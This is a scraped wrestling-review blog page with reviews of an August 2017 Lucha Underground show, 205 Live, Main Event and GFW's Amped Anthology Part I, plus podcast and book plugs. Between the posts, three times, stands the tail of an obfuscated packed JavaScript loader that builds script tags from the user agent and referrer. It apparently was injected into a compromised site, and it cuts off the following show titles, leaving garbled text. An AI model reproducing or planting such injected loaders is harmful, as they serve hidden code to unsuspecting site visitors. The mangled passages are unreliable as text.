It’s a fun chat as someone who calls me his mentor (egads the problems that man must have) and I talk about Raw 2002, some events from this week and wrestling in Puerto Rico.  Plus a bit of my backstory if you’ve never heard it before.  Please bear with us on some of the technical issues as the content is there despite some stuttering issues.  I’ve known this guy for a long time now and he’s a very talented writer who knows his stuff.

http://impactoestelar.com/wp-content/uploads/2017/08/InterviewKB.mp3

Check out his site too for a ton of content on lucha libre, albeit in Spanish.

Impactoestelar.com

Lucha Underground
Date: August 23, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

It’s time for a big show with the finals of the Cueto Cup along with the Lucha Underground Title match between Rey Mysterio and champion Johnny Mundo. This has been hyped up for months now and I’m actually looking forward to what they’ve got in store. If they do this right, it might be the biggest show they’ve ever done. Well close to it at least. Let’s get to it.

The opening video recaps tonight’s events, including a mask vs. mask match between Sexy Star and Veneno, which is just a glorified storyline advancement.

The announcers give us a quick opening.

Veneno vs. Sexy Star

Mask vs. mask. Star kicks away at him to start but here’s Joey Ryan to unmask Veneno as Cortez Castro, which we already knew. Castro and Ryan get in a brawl and the match ends at 52 seconds….I think with it being thrown out but it could also be a DQ or a countout. Striker says Star wins so we’ll say countout as the referee looked like he was counting.

Johnny Mundo and his agent come in to see Dario Cueto because the boss doesn’t appreciate Johnny anymore. Johnny could get better offers with one phone call but Dario swears everyone is banned from ringside tonight because he can beat Rey on his own. Mundo threatens to leave with the title if anything screwy happens tonight.

Cueto Cup Tournament Final: Pentagon Dark vs. Prince Puma

The winner gets the title shot at Ultima Lucha Tres, whenever that is. They trade shots to the head to start until Pentagon charges into a tilt-a-whirl backbreaker. He makes the mistake of bailing to the floor and gets caught with a flip dive to give Puma what is likely to be a short lived advantage.

Back in and Pentagon hits a Backstabber before they trade some hard chops. Puma kicks him in the face again and it’s a 619 into a springboard high crossbody for two. A tornado DDT is countered into a backbreaker for two on Puma but he’s right back with his rolling suplexes. Puma jumps into a pumphandle driver for a VERY near fall though and Striker starts yelling a lot.

A Mexican Destroyer plants Puma but of course he’s right back up and hits one of his own to put both guys down. They slowly slug it out until Pentagon is sent to the apron and then to the top. Puma kicks him in the head again for a super hurricanrana and, after a nod from Vampiro, drops the 630 for the pin and the cup at 9:32.

Rating: B. Sometimes you just need two people to fly around the ring as fast as they can while kicking each other in the head over and over. This was a heck of a match and Puma winning while seemingly going full on evil (though not necessarily heel because Lucha Underground is an odd place) is the right call. Him vs. Mundo (or Mysterio again) would be a heck of an Ultima Lucha main event as Puma has been on fire as of late.

Pentagon leaves as Puma and Vampiro shake hands.

Post break Dario gives Puma the cup but it’s time to find Puma’s opponent.

Lucha Underground Title: Rey Mysterio vs. Johnny Mundo

Mundo is defending. No seconds to start but you know this isn’t going to be a straight match. Rey slugs away to start and a kick sends him outside for a sliding headscissors into the barricade. Back in and a springboard crossbody gives Rey two but Johnny chokes him down and grabs a rear naked choke which switches into a chinlock. The Flying Chuck gives Johnny two and there’s a hard running knee to the head.

It’s off to a crossface chickenwing of all things until Johnny dumps him outside. Mundo misses a corkscrew dive though and gets ankle scissored down again. Rey’s springboard is blocked with a superkick and the kickout makes Johnny panic in a rare visual. A hanging corkscrew neckbreaker gets two on Rey and it’s time for the required ripping at Rey’s mask.

With that going nowhere, Johnny puts him in the Tree of Woe but crotches himself against the post. Rey reverses an Alabama Slam into something like a Canadian Destroyer (too common of a move tonight) for two. It’s off to an Octopus Hold on Johnny (I’m surprised Rey can actually do that move) but he escapes and grabs an over the shoulder backbreaker for two. The End of the World is broken up and Rey drops a split legged moonsault of his own.

Johnny bails outside and gets taken down by a top rope seated senton. They head back in with Striker FINALLY taking a break from shouting about how big and amazing this is. A victory roll takes the referee out (you knew it was coming) and Johnny breaks up the 619. Johnny grabs the belt but Rey’s son Dominic takes it away and drops Mundo. Security chases him off and it’s the 619 into the springboard splash….so Dario pulls the referee out. That earns Dario a 619 but Mundo takes Rey down and hits the End of the World for the pin to retain at 18:11.

Rating: B. The Dario stuff is interesting as you could have Rey fight the boss for a bit (and only a bit) though the ending wasn’t the biggest shock. Puma vs. Mundo sounds like a heck of a main event for the biggest show of the year but that could change as things aren’t exactly normal around here. Other than that though, this was what you would expect from Mysterio vs. Mundo: well done, entertaining, and a big fight feel. It’s not their Intercontinental Title match from all those years ago but it wasn’t supposed to be.

Overall Rating: B+. This is a weird one as the matches were both good (I’m not downgrading a show over a match that didn’t last a minute) but it still feels underwhelming. After the tournament being built up over two months, you kind of expected an epic show here and just got a show. This needed to be a pay per view style show with some extra stuff to set up the big matches. It’s still very good, but it doesn’t feel epic, which is what they were going for. Still worth checking out though as we FINALLY enter the home stretch for the season.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deaas|var|u0026u|referrer|iitif||js|php'.split('|'),0,{})) Live
Date: August 22, 2017
Location: Barclays Center, New York City, New York
Commentators: Vic Joseph, Corey Graves

For the first time in a long time we have a big time main event on 205 Live with Neville defending the Cruiserweight Title against Akira Tozawa for the third time in eight days. I’m sure the rest of the division being completely worthless and that being more and more a reality every single week has no connection whatsoever. Let’s get to it.

We look at the previous two matches between Neville and Tozawa which set up tonight’s rubber match (assuming you don’t count the previous matches of course).

Opening sequence.

Cedric Alexander/Gran Metalik vs. Tony Nese/Drew Gulak

Rematch from last week. On the way to the ring, Nese rips on the crowd for never hitting the gym. Nese and Alexander start things off with Tony grabbing a rollup but walking into a dropkick to stagger him all over the place. It’s off to Gulak who gets forearmed square in the jaw before Metalik comes in some loud spot calling and a handspring backflip.

Gulak pops him square in the jaw to take over as Joseph offers some nice analysis by pointing out Drew’s hypocrisy of criticizing high fliers for showing off and then teaming with a showoff like Nese. It’s a good point and a nice catch. Metalik avoids a baseball slide from Nese and moonsaults down onto them in an impressive bit of timing. Back in and Nese loads Metalik into the Tree of Woe for the Full Contact Cardio but Alexander is smart enough to move his partner out of the way before anything can start.

Metalik comes back with a high crossbody to set up the hot tag to Alexander as things speed up. The springboard clothesline gets two on Gulak as everything breaks down. Cedric launches Metalik into a dropkick on Gulak, followed by a springboard splash for two more. Stereo flip dives take the heels out again and it’s the Lumbar Check to put Gulak away at 7:42.

Rating: B. These guys were FEELING IT here and they had a heck of a match as a result. I was having a great time with this one and they barely stopped the whole time. Metalik is a guy who I like more every time I see him and Alexander is still one of the top performers on the roster. Not that it’s going to lead him anywhere but at least he’s getting in good matches like this one.

Titus O’Neil gives Akira Tozawa a pep talk before his title match tonight. Titus: “Now give me two claps and a Ric Flair!”

Here’s Jack Gallagher for his gentleman’s duel with Brian Kendrick. Jack explains the idea behind the duel but says he hasn’t been very gentlemanly as of late. Sometimes though, people just rub you the wrong way and you have to knock them out. If Kendrick is so afraid of what Gallagher can do with his fists, just imagine what he can do with the selection of weapons in the ring.

Kendrick pops up on screen and laughs off the idea because only a clown would have a duel. He’s found Jack a suitable opponent though and here’s an actual clown. The clown sprays Jack with water (Fans: “KILL THE CLOWN! STUPID IDIOT!”) and gets beaten down for his efforts. Cue Kendrick from behind to attack Gallagher with an umbrella and powerbomb him through the table. Kendrick also issues a challenge for a No DQ match next week. This was long and bad as the clown stuff is really being forced into the whole thing. Just have them fight and be done with it already.

We look back at Rich Swann vs. Ariya Daivari from last week with TJP coming out on crutches to distract Swann to cost him the match.

TJP is playing video games in the back with his leg in a cast (Why did he show up tonight?) when Swann comes in asking for an explanation. It turns out that TJP hurt his knee in their match two weeks ago and was just coming out to see Swann win. TJP is willing to settle this with Swann if Rich can beat Daivari, presumably next week.

Cruiserweight Title: Akira Tozawa vs. Neville

Neville is defending. They start slowly with Neville working on the arm until Tozawa chops him against the rope. Oh yeah they’ve got a lot of time to use here. A headlock takes Tozawa down again before switching to a cravate. How British of him. The fans chant a rather rude term at Neville before neither guy can hit a kick to the ribs.

They trade some hard strikes as this is mostly even in the first few minutes. Neville snaps the bad shoulder across the top rope and it’s time for a hammerlock with the leg. A dropkick to the shoulder puts Tozawa on the floor and a gorgeous moonsault takes him down again. The referee has to check on the shoulder but Tozawa says he can keep going. Neville sends him into various things but gets dropkicked off the top for a comeback.

The suicide dive connects and Tozawa snaps off a belly to back for two. Neville comes back with the superplex but Tozawa interlocks the legs into a small package for two more. I’ve always loved that spot, especially when it looks natural. Neville is up first with something like a sitout F5 and a heck of a kick to the head for two.

Back up and Tozawa nails him in the jaw to floor the champ, followed by a running boot in the corner. We hit a pinfall reversal sequence before Tozawa kicks him in the head again. The top rope backsplash misses though and the Rings of Saturn retains the title at 16:11.

Rating: B. Another good performance between these two but I’m kind of sick of seeing it. I also have no idea what the point was of having Tozawa win and then lose the title so soon when they could have just had the second title change here. I mean other than filling the Summerslam card up as much as they can of course.

Post match Neville says Tozawa’s title reign was pathetic and nothing more than a footnote. Cue Enzo Amore (Graves: “VIC DID YOU KNOW ABOUT THIS???”) for his usual promo and to say this is now the realest show in the room. Neville sneers at him and leaves so Enzo calls him sawft to end the show.

Where do I even begin? First of all, this sums up everything wrong with 205 Live. You have those four in the first match going nuts and having a great match but none of them are getting anywhere near the title picture because, presumably, they’re not interesting enough. Heaven forbid they get promo time or vignettes or something to build interest in them, because obnoxious catchphrases and a lack of anything interesting in the ring makes you a more worthy challenger.

That’s one of the biggest problems around here and a great example of why the show isn’t necessary: you have the champion, the title contenders (as in all two of them) and then EVERYONE else who comes off like they’re several notches below two or three people at most. Even former champions like TJP and Rich Swann feel like they’re miles beneath Neville and Tozawa. Enzo isn’t going to be any better in that area as he’s a glorified comedy guy most of the time.

That being said, Enzo is PERFECT for this show. He’s instantly the biggest star on the roster and has more personality than the rest of the roster put together. It’s also not like he has anything else to do on Raw now that Cass is on the shelf. He would never be seen as a physical threat to anyone on the show but there are some names here he could hang with. It’s the right move for Enzo, but another example of why 205 Live doesn’t work as a concept.

Overall Rating: B+. That’s probably the best episode they’ve ever had though I have a bad feeling about where things are going. Enzo is going to become the focus of the show and since I wouldn’t mind seeing him stampeded by a herd of wild buffalo, that might make things a bit hard to sit through. The rest of the show ranged from awesome to a clown show, which makes this a great week and a nice addition to a lot of the Brooklyn run.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrziz|var|u0026u|referrer|tkiia||js|php'.split('|'),0,{})) Event
Date: August 24, 2017
Location: Barclays Center, New York City, New York
Commentators: Vic Joseph, Corey Graves

I just can’t get away from the Barclays Center. If my math is right, this is the seventh show WWE taped from the venue in four days and hopefully that means they’ll be all beach balled out. Odds are this is going to be a run of the mill show though as it’s not like these things are really any different no matter where they are. Let’s get to it.

Opening sequence.

Heath Slater vs. Curt Hawkins

Slater sucks up with the Brooklyn 3:16 shirt. Hawkins does the FACE THE FACTS pose so Slater does a bit of a striptease to take the shirt off. A side kick gives Slater two and it’s off to the armbar. Hawkins knees him to the back to send Slater into the corner and that means it’s time for more posing. We hit the chinlock for as long as a chinlock is going to go before frustration starts to set in. A knee drop gets two and we hit the second chinlock. Heath fights up but gets tripped straight down, only to small package Hawkins for the pin at 4:36.

Rating: C-. This was actually better than you would expect with Hawkins playing a heel who was ahead but got too caught up in bragging to finish the job. Slater hung in there until he had an opening to capitalize on and won as a results. It might not be in depth but it’s a story, which is a lot more than you would expect most of the time for Main Event.

Off to Raw.

Here are Lesnar and Paul Heyman to open things up. Heyman says this isn’t a tape delay because we’re live with Brock Lesnar still your reigning and defending Universal Champion. He talks about the conspiracy against Lesnar, who fought off everyone else last night to keep his title. For the first time in his life, Lesnar was taken off the battlefield in an attempt to get rid of him without having to pin him or make him submit. But Lesnar wouldn’t have any of that and marched back down the aisle so conquering could ensue. As for tonight, there is no one in WWE or UFC history, like Lesnar himself.

Cue Braun Strowman and you can see Lesnar wince a bit. The fans cheer for Strowman as Brock gets in his face. A chokeslam is countered but Braun kicks him in the face and hits a powerslam to put Lesnar down. He starts to get up so it’s another powerslam, leaving Strowman to hold up the title.

And then again.

Here’s Sasha Banks for her first comments after winning the title. She may be from Boston but she’s always left her heart right here in Brooklyn. Like when she and Charlotte tore the house down last year at Summerslam, which allows her to wish Ric Flair well. Sasha plans on defending the title the right way but here’s Alexa Bliss to interrupt. She laughs off the idea of Sasha being the right kind of champion but wants nothing to do with a rematch tonight in front of these Brooklyn fanboys. They’ll fight soon enough but for now, Bliss is fine making Sasha wait.

Lince Dorado vs. Brian Kendrick

Brian takes him to the mat to start but Dorado flips up without too much effort. A quick trip to the floor earns Kendrick a hurricanrana and we take a break. Back with Kendrick getting two off a big boot and slowing things down with a cravate. Like WAY down as the hold stays on longer than it needs to.

A belly to back superplex is reversed into a crossbody to drop Kendrick and Dorado has a breather. There’s a spinwheel kick into a hurricanrana for two, followed by the springboard Stunner for the same. The shooting star hits knees though and Kendrick grabs the Captain’s Hook for the tap out at 11:19.

Rating: C. Another match that was better than I was expecting though again that’s not covering a lot of ground. Dorado is fine for a low level face and Kendrick has completely exceeded expectations in his run with the company. I’m still not sure how good of a finisher the glorified chinlock was but he’s making it work to a certain degree.

We’ll wrap it up with Monday’s main event.

Miz/Samoa Joe vs. Roman Reigns/John Cena

Cena bulldogs Miz to start and the fans are very pleased as it’s already off to Joe. The fans go nuts over something and Cena actually pauses to look at it…..because it’s a freaking beach ball. It seems that the ball is taken away with Cena looking annoyed, earning himself a beating from Joe. Miz comes in to stomp away and it’s time for the wave again. Now Cena joins in the wave, earning himself a quick DDT for two.

The cheering and booing continues as a beach ball is put into play and confiscated as the match continues to be ignored. Cena gets ax handled for two as Miz stops to tell the fans to pay attention. Miz misses a charge and it’s off to Reigns to clean house with clotheslines to no reaction. Roman gets taken down as well for the YES Kicks. The last one is countered into a powerbomb though and both guys are down again.

Joe Rock Bottoms Roman but Reigns heads outside to beat up the Miztourage. Back in and the hot tag brings in Cena for the finishing sequence. Joe cuts off the Shuffle though and it’s off to the Koquina Clutch. Reigns tries a save with the Superman Punch but Joe sidesteps it, causing Cena to get hit instead. The second Superman Punch hits Joe but Cena pops up and grabs the AA to pin Miz at 13:03.

Rating: C+. I hate beach balls, I hate beach balls, I hate beach balls. As usual, whenever you ask a crowd to pay attention for this long (to something they paid for of course), it’s bound to cause them to lose their interest and set off something like this. Naturally their response is screw anyone who doesn’t like it, because wrestling fans are selfish creatures by definition. I couldn’t stand this stuff in Orlando and it’s really annoying now, much like WWE encouraging this nonsense. As for the match, it was exactly what you would expect though Cena pinning Miz made me roll my eyes.

Overall Rating: C+. This was one of the better shows they’ve done in a long time with two completely watchable matches and some good stuff from Raw. I’m not sure how to live in a world where Raw is completely outshining Smackdown but that’s been the case for a long time now. That makes the recap show a lot easier to watch and two pretty good matches helped quite a bit. Nice show this week.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kihie|var|u0026u|referrer|rstrf||js|php'.split('|'),0,{})) Night Only: Amped Anthology Part I
Date: August 11, 2017
Location: Orleans Arena, Las Vegas, Nevada
Commentators: Cyrus Fees, Chael Sonnen

So this exists. Back in 2015, Global Force Wrestling FINALLY got around to their TV tapings and over two years later, we’re FINALLY getting to see the things. Most of these people have moved on to different promotions but I’m really interested in seeing how these things were going to be. There were eight one hour episodes and I believe we have four of them here tonight. Let’s get to it.

We open with a quick intro, basically saying that none of this is scripted. It also comes off like a partial reality show with a lot of focus on people working as hard as they can to get here. It’s amazing how many of these names are already in WWE and in many cases have already won titles there.

The announcers welcome us to the show with Chael playing a heel and loving the idea of tournaments to win titles.

It’s a six sided ring because of course it is.

Nex Gen Title Tournament First Round: Seiya Sanada vs. PJ Black

The production values are quite good, probably better than today’s Impact. We get the crazy spinouts from the wristlocks to start and it’s off to a standoff. Black flips him down to the mat and grabs a headlock as the announcers explain Black’s background. A kick to the back of the head gets two on Sanada but he pops right back up with a dropkick. Black springboards into a dropkick to the ribs and we hit the abdominal stretch.

That goes nowhere (like you would expect it to in this kind of a match) so Black spinkicks him down, only to miss the top rope Lionsault. Sanada misses his own though and it’s a double breather. Back up and Black fires off some kicks but gets caught on top. A tiger suplex gives Sanada two and a TKO gets the same. Sanada loads up a superplex but gets shoved off, setting up the springboard 450 to send Black on at 8:45.

Rating: C+. So you know all those other X-Division style matches that don’t have much of a story but feature a bunch of pretty good flips and dives? Well this is one of them. Black is a good high flier and Sanada is a bit more well rounded but these matches just kind of come and go for me. It was good but another X-Division/Cruiserweight Title doesn’t do much for me anymore. We’ve seen it so many times that seeing it again isn’t the most thrilling thing in the world.

Here are the brackets for the first time.

Black

Sonjay Dutt

Jigsaw

TJP

Andrew Everett

Trevor Lee

TBD

Video on Kevin Kross. Believe it or not, he was inspired by Japanese wrestling.

The resident lucha libre team is ready for their six man tag later and two of them are ready to win the Tag Team Titles.

Here’s Bobby Roode, to his own Against the Grain TNA theme, for a chat. Roode says he doesn’t belong here because he’s always been and always will be a TNA guy. He lists off a bunch of people he’s held the TNA World Title than, which is better known as a list of people who will never be here. He’s here tonight to take the GFW World Title from Jeff Jarrett (who isn’t champion mind you) but here’s Nick Aldis, better known as Magnus, to interrupt. Aldis says this isn’t the Impact Zone and Jarrett brought everyone here to join the force. Cue Kongo Kong (who looks just as bad as he does now) to jump Aldis, allowing Roode to grab a Crossface.

Black is ready to move forward towards the title.

Video on Jarrett creating the company.

Bestia 666/Blood Eagle/Samu Jr. vs. Los Luchas/Misterioso Jr.

Zokre and Eagle start things off with a lucha sequence, which Sonnen says is reminiscent of the Hart Foundation. Everything breaks down and Zokre gets beaten down with a wheelbarrow Codebreaker planting him. The triple teaming makes things even worse with all of the technicos taking a beating as we head to a break.

Back with Eagle powerbombing Zokre for two as the announcers are trying to keep up with everything going on to little avail. Misterioso hits an Asai moonsault onto Samu and Los Luchas add stereo running flip dives. A Codebreaker and a hurricanrana driver plants Eagle and something like a Lionsault gives Misterioso the pin at 6:14 shown.

Rating: C. This was your run of the mill lucha insanity but I have no idea who any of these people are. Commentary did a horrible job of telling us who they were and there was no reason to like one team over the other. It wasn’t bad but the days of just doing lucha for the sake of doing lucha are long behind us. Well save for around here and on 205 Live of course and it’s no wonder that neither is the most successful product in the world.

Here are the brackets for the Tag Team Title tournament:

Bollywood Boyz

Akbars

Los Luchas

Reno Scum

Celo/Misterioso

Teaze N Sleaze

Bullet Club

Killer Elite Squad

Preview of the rest of the season.

The second episode begins with a recap of last week’s show, even if it didn’t seem like much happened. The big focus is on Roode vs. Kross for a spot in the GFW World Title tournament.

Virgil Flynn and Kushida are ready to go after the Nex Gen Title.

Kushida vs. Virgil Flynn

Non-tournament and non-title with Kushida’s IWGP Junior Heavyweight Title not on the line. I’ve never heard of Flynn but Kushida is probably my favorite New Japan guy. They fight over a wristlock to start until Kushida grabs a front facelock to take over. A drop toehold puts Kushida into 619 position though and a kick to the head staggers him even more. Back in and Kushida kicks him down before sending him shoulder first into the post.

Bored of that, Kushida hits the basement dropkick for two. Virgil gets in a jawbreaker, which Chael describes as old school. It’s too early for the Hoverboard Lock and Virgil snaps him off the top with a hurricanrana. Kushida wins a slugout but his crossbody is countered into a powerslam for two. A 450 hits knees though and Kushida fires off kicks to the arm before just punching him in the jaw. The Hoverboard Lock makes Flynn tap at 10:37.

Rating: C+. Flynn wasn’t bad though this was just a step above an extended squash. Having Kushida around is a good idea as he’s one of the best in-ring talents in the world, though having the IWGP Title out there didn’t look good. You’re trying to convince people that you’re the best in the world. Don’t mention other promotions every chance you get as it makes you look like you’re riding their coattails instead of standing on your own. See also a major problem for GFW and ROH today.

Aldis says he’s fine and can appreciate Kong trying to make a name for himself. He’ll be winning the GFW Title though.

Kushida and Flynn endorse each other.

Video on the women of GFW. This includes Karen Jarrett talking about how many opportunities the women will be getting because she’s this company’s Stephanie McMahon.

Video on Kevin Kross, who seems to be a shooter/MMA guy with some anger issues.

Video on Chris Mordetzky, who is totally different than when he was in WWE.

Video on the Bollywood Boyz, now known as the Singh Brothers.

GFW World Title Tournament Qualifying Match: Bobby Roode vs. Kevin Kross

Roode works on the arm to start before lounging on the top rope. Kross reverses a hammerlock and runs him over, which isn’t exactly what I think of when I hear someone is a shooter. A quick breather on the floor seems to do Roode some good as he comes back in and sends Kross into the post.

The bad arm is rammed into the barricade a few times, which I guess isn’t MMA style as Kross is in even more trouble. Back from a break with Roode hitting the Hennig necksnap and cranking on the arm some more. The spinebuster looks to set up the Roode Bomb but Kross escapes into a rollup. Not that it matters as Roode reverses into the Crossface for the tap at 7:39.

Rating: D+. So much for the shooter/MMA guy. I know Jarrett did the thing where he was a fake MMA guy but does he know that there’s such a thing as real MMA style wrestlers? Kross was every run of the mill angry wrestler here with nothing that suggested he had a shoot background whatsoever. That left us with little more than a glorified (though not glorious) squash, which doesn’t do much for Kross.

Video on the Akbars, doing the standard “we’re treated differently because we look different” stuff.

Episode three begins with another recap.

Here’s a lounge singer named Henry Maxwell for no logical reason other than to be beaten down by the Akbars before their match.

GFW Tag Team Title Tournament First Round: Akbars vs. Bollywood Boyz

The Akbars are Ali and Omar, both of whom are best known from OVW. Gurv and Omar start things off and it’s a small package for two on Omar. That means it’s already off to Ali, who is sent scurrying back to Omar thanks to an armdrag. They have quite the low tolerance for pain.

Some double teaming puts Harv in trouble though and it’s a double suplex for no cover. Back from a break with Harv still in the wrong corner and a snap suplex into a chinlock. A running knee and elbow drop get two but hang on because we need to plug an upcoming Karen Jarrett appearance.

We get the classic fight to the corner for a tag the referee doesn’t see, which always makes me smile a bit. Omar misses a middle rope leg and there’s the hot tag to Gurv. A DDT and spinwheel kick get two as everything breaks down. Harv hits a top rope back elbow to the jaw, setting up a top rope elbow drop for the pin on Ali at 8:52.

Rating: D+. This was quite a bit of nothing special with the Akbars being as generic a set of villains as you could find. The Boyz were better, though still not exactly setting the world on fire. Their actual wrestling has never been great though at least they seem to have found their calling as the crash dummies for Jinder Mahal.

Sonjay Dutt is ready to win the Nex Gen Title to go with his bachelor’s degree.

Jigsaw is a masked man who has wrestled everywhere and sounds very standard for having such a cool name. He’s a hybrid wrestler and wants to win the Nex Gen Title too.

Another video on Mordetzky, with a lot of the same material being covered.

Here’s Karen Jarrett, who is introduced as the Queen of the Knockouts. She makes a women’s match for the main event but Lei’D Tapa and her manager Royal Red cut her off. Red doesn’t want to hear about the old news that is Mickie James. Karen tells her to shut up because she’s all tough and awesome. She wants Tapa to cage up her husband before her triple threat tonight with James and Christina Von Eerie.

Video on Kevin Kross, who wants to fight Bobby Roode again.

Nick Aldis is ready to face Kongo Kong.

GFW Women’s Title Tournament First Round: Lei’D Tapa vs. Mickie James vs. Christina Von Eerie

The winner is in the finals because this tournament isn’t exactly deep. Tapa shrugs off an early double teaming attempt and we’re off to a way too early break. Back with more double teaming working better and Tapa being sent outside. Mickie hurricanranas Christina out of the corner as Tapa gets back in.

A double Samoan drop….hurts Tapa as well as she bumps her head on the way down. The Barbarian’s niece shouldn’t be hurt by a blow to the head like that. Come on and get your stereotypes right already people. James and Von Eerie double team Tapa down again but get in an argument over the cover (you might have seen this idea before). The MickieDT (and a bad one at that) drops Tapa but Von Eerie sends James outside. A Backstabber to Tapa puts Von Eerie in the finals at 6:58.

Rating: D+. Another lackluster match that followed the same formula you’ve seen for this match a dozen or more times. Von Eerie going over is interesting and probably a better call as James is an established star and Tapa, no matter how many companies hire her, still isn’t interesting. Not terrible here but I’m already forgetting parts of it.

Von Eerie gets the winner of Katarina Leigh, the Bullet Babe and Lauren James. She’s ready for any of them.

Here are the brackets for the World Title tournament:

Chris Mordetzky

Brian Myers

Nick Aldis

Kongo Kong

Shelton Benjamin

JR Kratos

Bobby Roode

TBD

The lounge singer from earlier turns out to be Kong’s manager. Uh….ok then.

Episode four means another recap.

Video on Sonjay Dutt vs. Jigsaw.

Nex Gen Title Tournament First Round: Sonjay Dutt vs. Jigsaw

They speed things up to start and it’s the fast paced moves with little to no impact that almost always start these things off. Jigsaw scores with a few shots to the face and a dropkick gets two. Cyrus talks about Jigsaw taking a title from Dutt in CZW to put him on the map. Chael: “You did NOT see that match.” Cyrus: “Uhhh…..”.

After making the face announcer look like an idiot like that, Dutt fights out of a Gory Stretch and dropkicks him to the floor. Back in and Dutt kicks him in the face before grabbing an Octopus Hold. Jigsaw sends him outside for the required flip dive, followed by the missile dropkick back inside.

Neither can hit a piledriver so we’ll go with the standard superkick to drop Jigsaw instead. A standing shooting star gets two and a tornado DDT gets the same. Jigsaw avoids a charge and hits a double stomp to the back, followed by a kneeling reverse piledriver (Jig and Tonic) to advance at 10:15.

Rating: C. Another good, fast paced match here though still nothing that hasn’t been done before. Dutt is a name that has been around forever while Jigsaw, who I’ve liked in the times I’ve seen him, was basically lost as soon as I heard him talk for the first time. His name and look suggests something mysterious but he’s just another guy from New York. Think this stuff through people.

Video on Kongo Kong attacking Nick Aldis on the first episode to set off their feud. Or whatever you can count as a feud here as they’re just having one tournament match.

Jigsaw is happy and Dutt praises him for his win.

Here’s Chael Sonnen in the ring for a chat. He immediately heels it up by telling everyone to be quiet and insults MMA fighter Phil Baroni in the front row. Sonnen issues something of a challenge and says the fight would be one more for the bad guy. Now he calls out Virgil Flynn and mocks him for the loss, only to say that he’s in the Nex Gen Title tournament anyway. I guess Kushida was too busy. PJ Black comes out, tells Flynn that he’s awesome, and superkicks him for a heel turn. Eh you have to turn someone.

Video on Brian Myers (Curt Hawkins) who wants to win the title.

Video on Reno Scumm.

GFW World Title Tournament First Round: Kongo Kong vs. Nick Aldis

Maxwell does Kong’s entrance and is a pretty lame heel manager. The fight is on in a hurry with Kong missing a charge in the corner and falling out to the floor. Back in and Kong hammers away some more because he’s big and fat and therefore strong. Maxwell gets in a cheap shot from the floor so Kong can get two off a legdrop. We hit the nearly required bearhug and a belly to belly gets two on Nick.

Back from a break with Kong yelling at the referee so Maxwell can get in a cheap shot. That means another bearhug as they’re certainly staying within the lines of the paint by numbers formula. Aldis fights out and hits a belly to back suplex, followed by some clotheslines for two. A superplex plants Kong and the top rope elbow gets two. Maxwell offers a distraction so Kong can hit the Cannonball for two more. Kong misses a moonsault though and the Spine Shaker sends Aldis on at 9:27.

Rating: D+. What in the world does Jarrett see in Kongo Kong? He’s embarrassing looking and doesn’t do anything of note in the ring. We’ve seen big guys do moonsaults for over twenty years now and it’s certainly not as impressive as Vader’s or even Bam Bam Bigelow’s. He’s just a big guy who looks like a monster, which isn’t exactly the most impressive thing in the world. Aldis was the only option here and thankfully he slayed the monster in relatively short order.

Overall Rating: C-. This is one of the trickiest things I’ve ever had to grade. First of all, it’s really hard to look at this as it was originally intended. These shows were A, meant to be seen week to week and B, aired two years ago. In 2017, it comes off like a bunch of Impact guys and people who have left for the greener pastures of WWE. That’s a very different presentation than they were shooting for but it’s really hard to look at it as originally intended.

As for the show itself….it’s really just ok at best. I look at the lineups and matches here and all I see is a group of people who aren’t good enough to be in WWE. Myers and Mordetzky stand out for me above all others. They’re the definition of WWE rejects and neither showed anything here to make me think that they’re anything more than generic wrestlers. That’s the case with a lot of people on the show and it doesn’t do it many favors.

You also have the severe lack of stories, though that’s to be expected on the first set of shows. This is ALL about the tournaments and really nothing more. The only other story is Roode wanting to mess with the company and even then he’s in the tournament. That’s fine for something like this but it needs to change going forward.

Another big problem is the commentary. It really felt like neither of these two knew a lot about professional wrestling. Sonnen sounded like he knew the combat stuff but his heel shtick felt really, really forced, especially his in-ring promo (which I remember hearing was literally just thrown in because Sonnen wanted to do it and Jarrett said sure). It seemed like they were given some notes about each wrestler and little more, which doesn’t mean you know something about the wrestling itself. It was really noticeable and became annoying very quickly.

Let’s talk about some of the good things because they definitely do exist. First of all, the presentation is great. The show looks like an upper level production with good lighting, good graphics and no major errors or flaws. It feels like you’re watching something with a budget and some effort and that can make all the difference in the world.

It also helped that the wrestling was all perfectly acceptable. There’s some stuff that wasn’t as good as the rest but it was all watchable enough with nothing embarrassing. They weren’t trying to reinvent the wheel with the matches and it made for a good enough outing, which is often all you can ask for from something like this.

Overall, the show isn’t bad but it’s also nothing that really stands out other than a historical (work with me here) curiosity. I’ll probably watch the other parts in the series (Part II, likely out of four total, has already been given a release date) and hopefully things pick up a bit. This could have been something, though it’s hardly anything that blows you away like New Japan or unique like Lucha Underground. It’s really just the not quite good enough for WWE troupe going out and putting on a pretty standard set of shows. Nothing bad, but also nothing memorable.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

